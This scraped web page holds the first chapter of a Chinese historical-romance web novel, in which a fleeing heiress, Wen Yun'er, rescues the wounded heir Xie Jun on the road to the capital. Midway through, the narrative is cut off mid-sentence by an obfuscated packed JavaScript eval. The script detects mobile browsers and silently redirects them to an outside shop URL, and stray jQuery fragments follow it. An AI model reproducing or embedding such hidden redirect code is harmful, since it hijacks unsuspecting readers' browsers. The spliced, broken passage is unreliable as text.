1. 第 1 章
    元庆十六年腊月二十二日,江南微雨,寒意弥漫。

    子时三刻,月色朦胧,四周一片漆黑。

    江南码头一艘大船缓缓停靠岸边,旁边被挡着还有一艘私家小船只停泊在旁。

    两位女子许是心生防备,连连回头向身后看去,直到上了私家小船,还在偷偷瞧着岸边的风吹草动。

    “小姐,安全了。”春兰看着后面的官船,要不是被逼无奈,两位女子怎会深夜乘坐私船。

    船内坐着那位被称之为小姐的女子,戴着深紫色的帷幔,看不真切面容,晚风袭来扬起帷幔。

    船只昏暗的灯光照在她的脸上,仿若仙子下凡,肤光胜雪,姿容如画,缓缓地靠在春兰的肩上。

    春兰见姑娘这般模样,有些心疼,轻轻拢了拢姑娘身上的披风。

    “春兰,我只怕上京是另一个火坑,我带着你从江南的火坑跳进上京的火坑。”

    温蕴儿有些担忧,三年前,祖母病逝,临终前放心不下她,给上京静安侯府老夫人寄去书信。

    这位老夫人与祖母有着幼时交情,祖母希望她去之后,唯一放心不下的就是她,拿温家一半资产做答谢,希望她去上京,能庇护她一二。

    可是祖母怎知,还不过孝期,温家旁支见她父母已亡,祖母也逝去,联合当地县令,竟想要霸占她的家产,将她嫁予年迈的县令为妾。

    要不是静安侯府派来的人,她怕是在孝期就嫁给了那县令做妾室,逼她的孝期刚过,就连夜前往上京。

    可那群人始终不肯放过她,一路追着她们。

    “呸呸呸,小姐可别瞎说。”

    “我们是要过好日子的小姐。”

    “我还想着小姐答应我,去上京后去尝尝那最好的客栈,吃遍天下美食呢!!”

    春兰赶紧拉着温蕴儿拍拍船木,去去晦气。

    “好。”

    温蕴儿觉得有些好笑,刚才失落的心情也有些缓解,帷幔中长睫如鸦羽垂落,遮住眸中黯然,留下淡淡的青影。

    两人互相依偎着肩膀,安静的浅眠着,水路晃晃悠悠走了一天,刚出江南。

    月色沉寂,黑压压的天空中飘着大雪,两人怕码头有人守着,改换陆路,套着马车前往上京。

    温蕴儿梳洗过后放在客栈床上休息,一路提着的心弦在此刻也只敢稍稍放松下来。

    温蕴儿内心烦乱,被人架着走的感觉真不舒服,看着春兰跟着她一刻也不敢懈怠,靠着床边守着她静卧而眠,更是心里难受。

    “叩” “叩” “叩”

    旁边突然传来敲门的声音,春兰暮地睁开双目,看了一眼温蕴儿还在,扭头看向门口。

    “咯吱——”

    门被慢慢推开,一个玄衣男子倒在门口处

    温蕴儿连忙捂住嘴巴不敢尖叫出声,害怕极了,一只手拽着春兰往她身旁靠过去。

    春兰似安抚一般拍了拍温蕴儿的,从腰间拿出一把匕首,递给温蕴儿,小心地走到门前,打算看看外边的情况。

    这是,“砰”的一声,窗户被人破开,一个黑衣人闯了进来。

    与温蕴儿恰好四目相对,黑衣人猛然朝前冲去,一把擒住温蕴儿,抓着她退至了房间中间位置。

    门口的春兰听到声音,立马扭头看去,一见她被挟持,顿时焦急万分,慌的哭出声来。

    “小娘们,长得倒不错。”那黑衣男子手轻轻划过温蕴儿的脸,似有惋惜的开口:“可惜了。”

    “是吗?”温蕴儿抬眼看向黑衣男子。

    一刀封喉,只见黑衣男子捂着脖子,眼里带着不可置信的倒地。

    “呜呜,春兰我好害怕啊。”她扑向春来怀里,委屈的痛诉。

    “没事吧,小姐,”春兰检查她有没有受伤。

    “无事,”说完带着嫌弃的看向地上的黑衣男人,还敢摸她的脸,真当她是好欺负的。

    “呸,这人也太不要脸了,真是死不足惜。”春兰对着地上的黑衣男子道。

    温蕴儿走向门口看着地上的玄衣男子,胸口有起伏,似是还有气息,“春兰你看,他好像还有气。”

    没有听到春兰的回应,她扭头就被又一青衣劲装男子,一把利剑挡在脖颈前,春兰也倒在他怀里。

    “你…要干什么,”她惊恐地看向来人,想与利剑拉开写距离,却换来利剑更近的距离。

    脖颈上一会被架两把利刃的感觉可真不好受,她想着,看了看应当是昏迷了的春兰,开口:“你想干什么?”

    “将他背下楼,”那男子看了一眼地上的玄衣男子。

    “我一弱女子,肩不能扛手不能提,怎么背啊。”温蕴儿为难的开口。

    “废话,就这么背,”青衣男子丝毫不退让的回她。

    温蕴儿只好认命将那地上男子背起,废了好大力气才弄下楼去了马车。

    坐上那车,青衣男子带着春兰在外驾马,留温蕴儿和受伤的玄衣男子在马车内。

    还给了她一瓶药,隔一个时辰喂一次那男子,有什么不对随时叫他。

    车内,温蕴儿紧记着一个时辰喂一次,大约卯时末刻,天刚蒙蒙亮。

    玄衣男子不知何时醒来,鼻尖有着缕缕幽香,睁开眼就见一陌生女子给他喂药,他抬手摁着那女子手腕。

    她抬眼看去,闯入一双好看的桃花眼中,眸色清冷,带着探究和不解,就这般直直地凝视着她。

    “放开我”温蕴儿不由得心中一跳,甩开男人的手,直起身子来,把药往他怀里一扔。

    “既然你已醒,还请放过我们。”

    玄衣男子脸色未变,扶着车壁靠了起来,和温蕴儿拉开距离。

    空气中的幽香逐渐散去,心中有须臾失神,这香气好熟悉,好似曾经于某处闻到过一般。

    “哎,这人醒了,该将我的婢女弄醒了吧。”她吵马车外喊着。

    黑衣男子听到人醒了,拉着马车停下就要去看情况,可惜太过着急,把车内的两人甩在一起。

    那玄衣男子刚苏醒被这突然停下来不及反应甩在温蕴儿怀里,又昏了过去。

    温蕴儿正想与驾车的青衣男子商量,掀开帘子,不知何时又过来了一匹人,黑衣男子丢下他们就下去厮杀。

    温蕴儿见状,觉察不对,想扔下那玄衣男子跑了,可是春兰还未行,只好架着马车带着他们二人跑路。

    她马不停蹄的赶着,走了大半日,赶在天黑之前找了一出落脚地,准备稍作休息,等待天色黑透继续赶路。

    掀开帘子进入马车就听到,“此次是在下对不住姑娘,连累了姑娘”玄衣男子靠,在车内突然开口,语气带了些歉意。

    她抬眼看了玄衣男子一眼,就闭眼假寐,不想理会他。

    冬日夜里又寒又冷,闭上眼睛冷意直往骨子里钻,白嫩的双手因为驾车,而被勒出一层层血泡,又冷又疼的感觉让她根本不敢入睡。

    正闭着眼放松的时候,手心传来一阵温热的气息,掀翻眼皮看到玄衣正低头给她手心上药。

    这会她才看清玄衣男子的面容,凌乱的发丝散落在他清隽的皮囊上,剑眉星目,低头轻吹她手心时,还有一股优雅矜贵感,看起来应当是身份昂贵之人。

    她并未将手抽出,而是任由玄衣男子上药轻吹,毕竟身份昂贵之人对她心有愧疚,这于她是好事。

    等上完药,歇了没一会,温蕴儿就起身掀开帘子出去驾马车。

    外面天色已然黑透,她刚出来赶车时,那玄衣男子也跟着出来坐她身旁,“姑娘,我已休息许久,出来透透气。”

    温蕴儿不语,手握着马

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13773555|145690||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    绳用力的抬起落下,“驾,”的一声就出发了,许是玄衣男子伤势还未痊愈。

    马车冲出去的瞬间,将玄衣男子甩到了她身上,她一个女子都不在意,谁知这玄衣男子立马向他道歉。

    “抱歉姑娘,在下不是有意的,拖着在下的伤势,还要连累辛苦姑娘驾马车。”

    她轻嗤笑一声,在黑夜里被狂奔的马蹄声掩盖着。

    不过夜里赶车,她也是有些害怕的,但逃命要紧,见他出来坐在旁边,有人陪着自己,心里便也没有那么害怕了。

    两人就这么安静无言的一路驾车,到达了上京。

    刚过城口,就见一马车过来停在她们面前,下来了两个灰蓝色劲装男子,走向她们跟前跪下。

    “属下来迟,还望公子恕罪。”

    玄衣男子朝他们摆摆手,走向对面马车上去,却又突然下来。

    拿着两个一个蓝色一个白色药瓶,走向温蕴儿。

    “白色的是金创药,直接涂在你的伤口上,蓝色的是焕颜膏,让你留下的疤痕淡消。”

    “你那婢女应当只是令她昏睡,不久后就会醒来。”

    玄子男子拿着药走到她面前,熟悉的幽香再次袭来,不由得眉间一顿,将药往她手间一递。

    又从腰间取下一枚玉佩,似是思考者什么,缓缓将玉佩放在她手心,但也没再说其他的,利落转身乘坐马车而去。

    温蕴儿看着马车离去的背影,有些疑惑,药她能理解,但这玉佩是做什么,她有些不解。

    不过瞧着手中的那玉佩雕刻着栩栩如生的麒麟,应该是麒麟吧,她不大认得,看着光泽温润,手感细腻舒适,想必不是凡品。

    估计或许是看她可怜,哪怕当了能让她换成盘缠,就将玉佩挂在腰间,拿着药带着春兰去往城内深处。

    ———

    另一边刚刚进了对面马车的玄衣男子正是镇国公世子谢隽

    前几天奉秘旨出京查案,没想到证据全被销毁,只带着一点零星的证物回京复命,却一路上被截杀数次,防不胜防

    却意外遇到了那个姑娘,朝着旁边的一名灰蓝色劲装的男子临夏招手

    “你查一下刚才那位姑娘的来历。”男子表情略带玩味地吩咐道。

    “是”临夏领命,心里有些疑惑为何要差一名女子,那女子看着手无缚鸡之力的,难道和案情有关,一边想着也不敢耽搁,忙下马车去查

    没过多久临夏查完回来了

    “公子,你猜猜那位姑娘是谁”临夏走进书房内,看着公子坐在马车内,拿着着一瓶白玉瓷色的药瓶把玩着,走上前神秘的说道

    男子漫不经心地扫了临夏一眼道:“说”

    “说来是真巧,这姑娘乃是从江南过来上京,投靠静安侯府来的,听说是侯老夫人幼时好友的孙女,估计是来侯府镀层表姑娘的金,将来好说亲”

    “我也排查过了,表姑娘跟那伙人并无任何关系,昨日之事真就纯属巧合”临夏没有在卖关子

    “表姑娘”谢隽抬起头,轻捻着手里的瓷瓶,表情耐人寻味

    旁边的黑衣男子临池突然开口,“那女子身边的丫鬟武力高强,出手狠辣,看着不像闺阁女子所有”

    “查了,就是一普通丫鬟,不过主仆两人看着娇滴滴的,一个下手狠辣,一个能驾马将公子平安带回,看起来确实不符,但也确实一点问题没有”

    临夏以为二人没听懂,又展开解释一遍,不由得感叹打听来出入是有些大,可能女子逼急了就成了有盔甲的战士

    男子听闻也并未再接话,散漫地靠坐在椅子上,片刻像是又想起什么,忽地嘴角勾起一丝冷笑

    临夏见状,悄悄退后了些,也不敢再多言了,安静的坐在了一边,公子今天有点奇怪呀。

    …………